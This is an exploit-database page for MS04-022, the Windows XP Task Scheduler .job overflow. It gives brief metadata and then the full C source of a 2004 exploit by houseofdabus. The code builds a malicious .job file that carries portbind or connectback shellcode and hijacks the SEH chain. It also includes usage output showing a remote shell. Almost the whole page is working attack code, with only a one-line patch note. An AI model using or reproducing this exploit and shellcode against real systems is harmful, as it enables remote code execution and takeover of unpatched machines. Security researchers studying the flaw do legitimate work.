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Suggest Exploit
vendor:
Windows XP
by:
houseofdabus
7.5
CVSS
HIGH
MS04-022
119
CWE
Product Name: Windows XP
Affected Version From: Windows XP SP0
Affected Version To: Windows XP SP1
Patch Exists: YES
Related CWE: CVE-2004-0206
CPE: o:microsoft:windows_xp
Metasploit:
Other Scripts:
Platforms Tested: Internet Explorer 6.0 (SP1), Explorer, Windows XP SP0, Windows XP SP1
2004

Microsoft Windows XP Task Scheduler (.job) Universal Exploit

This exploit targets the Microsoft Windows XP Task Scheduler (.job) vulnerability, allowing for remote code execution.

Mitigation:

Apply the necessary security patches and updates provided by Microsoft.
Source

Exploit-DB raw data:

/* HOD-ms04022-task-expl.c:
 *
 * (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit
 *
 * Exploit version 0.1 coded by
 *
 *
 *                 .::[ houseofdabus ]::.
 *
 *
 * [at inbox dot ru]
 * -------------------------------------------------------------------
 * Tested on:
 *    - Internet Explorer 6.0 (SP1) (iexplore.exe)
 *    - Explorer (explorer.exe)
 *    - Windows XP SP0, SP1
 *
 * -------------------------------------------------------------------
 * Compile:
 *    Win32/VC++  : cl HOD-ms04022-task-expl.c
 *    Win32/cygwin: gcc HOD-ms04022-task-expl.c -lws2_32.lib
 *    Linux       : gcc -o HOD-ms04022-task-expl HOD-ms04022-task-expl.c
 *
 * -------------------------------------------------------------------
 * Command Line Parameters/Arguments:
 *
 *   HOD.exe <file> <shellcode> <bind/connectback port> [connectback IP]
 *
 *   Shellcode:
 *        1 - Portbind shellcode
 *        2 - Connectback shellcode
 *
 * -------------------------------------------------------------------
 * Example:
 *
 * C:\>HOD-ms04022-task-expl.exe expl.job 1 7777
 *
 * (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit
 *
 * --- Coded by .::[ houseofdabus ]::. ---
 *
 * [*] Shellcode: Portbind, port = 7777
 * [*] Generate file: expl.job
 *
 * C:\>
 *
 * start IE -> C:\
 *
 * C:\>telnet localhost 7777
 * Microsoft Windows XP [‚¥àá¨ï 5.1.2600]
 * (‘) Š®à¯®à æ¨ï Œ ©ªà®á®äâ, 1985-2001.
 *
 * C:\Documents and Settings\v.X\ ¡®ç¨© á⮫>
 *
 * -------------------------------------------------------------------
 *
 *   This is provided as proof-of-concept code only for educational
 *   purposes and testing by authorized individuals with permission to
 *   do so.
 *
 */

/* #define _WIN32 */

#include <stdio.h>
#include <stdlib.h>

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#include <winsock2.h>

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif



unsigned char jobfile[] = 

/* job header */
"\x01\x05\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00"
"\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00"
"\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00"

/* length */
"\x11\x11"

/* garbage C:\... */
/* unicode */
"\x43\x00\x3A\x00\x5C\x00\x61\x00"
"\x2E\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"

"\x1E\x82\xDC\x77"

/* 0x77dc821e - pop reg, pop reg, ret (advapi32.dll) */
/* for Win2k use jmp ebx or call ebx  */

"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x80\x31\x31\x80" /* generate exception */

"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x90\x90";



/* portbind shellcode */
unsigned char portbindsc[] = 
"\x90\x90"
"\x90\x90\xEB\x06" /* overwrite SEH-frame */
"\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"

"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
"\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70"
"\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6"
"\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e"
"\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83"
"\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32"
"\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59"
"\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50"
"\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50"
"\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14"
"\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc"
"\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c"
"\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33"
"\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44"
"\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d"
"\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50"
"\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55"
"\x28\xff\x55\x0c";



/* connectback shellcode */
unsigned char connectbacksc[] = 
"\x90\x90"
"\x90\x90\xEB\x06" /* overwrite SEH-frame */
"\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"

"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
"\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa"
"\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02"
"\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83"
"\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83"
"\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc"
"\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8"
"\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90"
"\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50"
"\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8"
"\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56"
"\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa"
"\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab"
"\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50"
"\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff"
"\x77\x38\xff\x55\x20\xff\x55\x0c";



/* use this form
unsigned char sc[] = 
"\x90\x90"
"\x90\x90\xEB\x06" - overwrite SEH-frame
"\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"

"... code ...";
*/

unsigned char endofjob[] = "\x00\x00\x00\x00";

#define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300+16)) = (port)
#define SET_CONNECTBACK_IP(buf, ip)     *(unsigned long *)(((buf)+283+16)) = (ip)
#define SET_CONNECTBACK_PORT(buf, port) *(unsigned short *)(((buf)+290+16)) = (port)

void
usage(char *prog)
{
	printf("Usage:\n");
	printf("%s <file> <shellcode> <bind/connectback port> [connectback IP]\n", prog);
	printf("\nShellcode:\n");
	printf("      1 - Portbind shellcode\n");
	printf("      2 - Connectback shellcode\n\n");
	exit(0);
}

int
main(int argc, char **argv)
{
	unsigned short strlen;
	unsigned short port;
	unsigned long ip, sc;
	FILE *fp, *fp2;

	printf("\n(MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit\n\n");
	printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");

	if (argc < 4) usage(argv[0]);

	sc = atoi(argv[2]);
	if ( ((sc == 2) && (argc < 5)) || (sc > 2)) usage(argv[0]);

	fp = fopen(argv[1], "wb");
	if (fp == NULL) {
		printf("[-] error: can\'t create file: %s\n", argv[1]);
		exit(0);
	}

	/* header & garbage */
	fwrite(jobfile, 1, sizeof(jobfile)-1, fp);
	fseek(fp, 39*16, SEEK_SET);

	port = atoi(argv[3]);
	printf("[*] Shellcode: ");
	if (sc == 1) {
		SET_PORTBIND_PORT(portbindsc, htons(port));
		printf("Portbind, port = %u\n", port);
		fwrite(portbindsc, 1, sizeof(portbindsc)-1, fp);
		fwrite(endofjob, 1, 4, fp);
		fseek(fp, 70, SEEK_SET);
		/* calculate length (see header) */
		strlen = (sizeof(jobfile)-1-71+sizeof(portbindsc)-1+4)/2;
	}
	else {
		ip = inet_addr(argv[4]);
		SET_CONNECTBACK_IP(connectbacksc, ip);
		SET_CONNECTBACK_PORT(connectbacksc, htons(port));
		printf("Connectback, port = %u, IP = %s\n", port, argv[4]);
		fwrite(connectbacksc, 1, sizeof(connectbacksc)-1, fp);
		fwrite(endofjob, 1, 4, fp);
		fseek(fp, 70, SEEK_SET);
		/* calculate length (see header) */
		strlen = (sizeof(jobfile)-1-71+sizeof(connectbacksc)-1+4)/2;
	}

	printf("[*] Generate file: %s\n", argv[1]);
	fwrite(&strlen, 1, 2, fp);
	fclose(fp);

return 0;
}

// milw0rm.com [2004-07-31]

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